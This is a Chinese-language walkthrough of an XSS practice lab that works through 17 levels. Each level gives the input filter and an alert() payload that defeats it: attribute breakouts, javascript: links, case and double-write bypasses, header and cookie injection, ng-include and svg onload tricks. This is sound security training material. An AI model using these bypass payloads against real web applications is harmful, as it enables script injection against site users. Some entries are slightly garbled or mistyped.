项目地址
level1
没有过滤。
<script>alert('1');</script>
level2
有两处,一处尖括号被转义了,一处作为input标签的value值,使用双引号和尖括号闭合input标签即可。
"><script>alert('1');</script><"
level3
input处的尖括号也被转义了,用单引号闭合,用onmouseover来触发JavaScript代码。
' onmouseover='alert('1')
level4
双引号闭合
" onmouseover="alert('1')
level5
过滤了on和script,但是input处的尖括号没有转义了,可以使用a标签
"><a href="javascript:alert(/xss/)">xss</a>
level6
大小写绕过
"><a Href="javascript:alert(/xss/)">xss</a>
level7
直接将一些关键词删除,可以双写绕过
"><a hrhrefef="javascscriptript:alert(/xss/)">xss</a>
level8
过滤了很多,先是将字符转换为小写,然后过滤特殊字符和双引号,最后又加了一个转义函数。
因此我们只能利用他的a标签,然后对其编码一下。
javascript:alert('1')
level9
会检测是否存在字符串 http://
,在最后加上,然后用双斜杠过滤。
javascript:alert('1')//http://
level10
有一个name为t_sort的input标签,接收get请求的参数t_sort作为value值。
?keyword=Good&t_sort=xss" onclick=alert('1') type="text"
level11
源码中有如下代码,利用hackbar修改REFERER头进行xss攻击。
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ref" value="'.$str33.'" type="hidden">
闭合双引号使用 onmouseover
触发xss。
" onmouseover=alert('1') type=text"
level12
利用hackbar修改user-agent头进行xss攻击。
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua" value="'.$str33.'" type="hidden">
闭合双引号使用 onmouseover
触发xss。
" onmouseover=alert('1') type=text"
level13
利用hackbar修改cookie进行xss攻击。
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua" value="'.$str33.'" type="hidden">
闭合双引号使用 onmouseover
触发xss。
" onmouseover=alert('1') type=text"
level14
本关似乎因为iframe调用的文件地址失效,无法进行测试。要考的应该是通过修改 iframe调用的文件来实现xss注入。
level15
g-include
指令一般用于包含外部的 HTML 文件,可以用它来包含一个存在漏洞的文件。
?src='level1.php?name=<script>alert(1)</script>'
level16
空格、反斜杠、script都被str_replace函数替换成 。
HTML中可以将%0a或者%0D当成空格使用。
<svg%0aonload=alert(1)>
level17
将arg01和arg02的结果用=拼接
?arg01=onclick&arg02=javascript:alert(/xss/)
Comments | NOTHING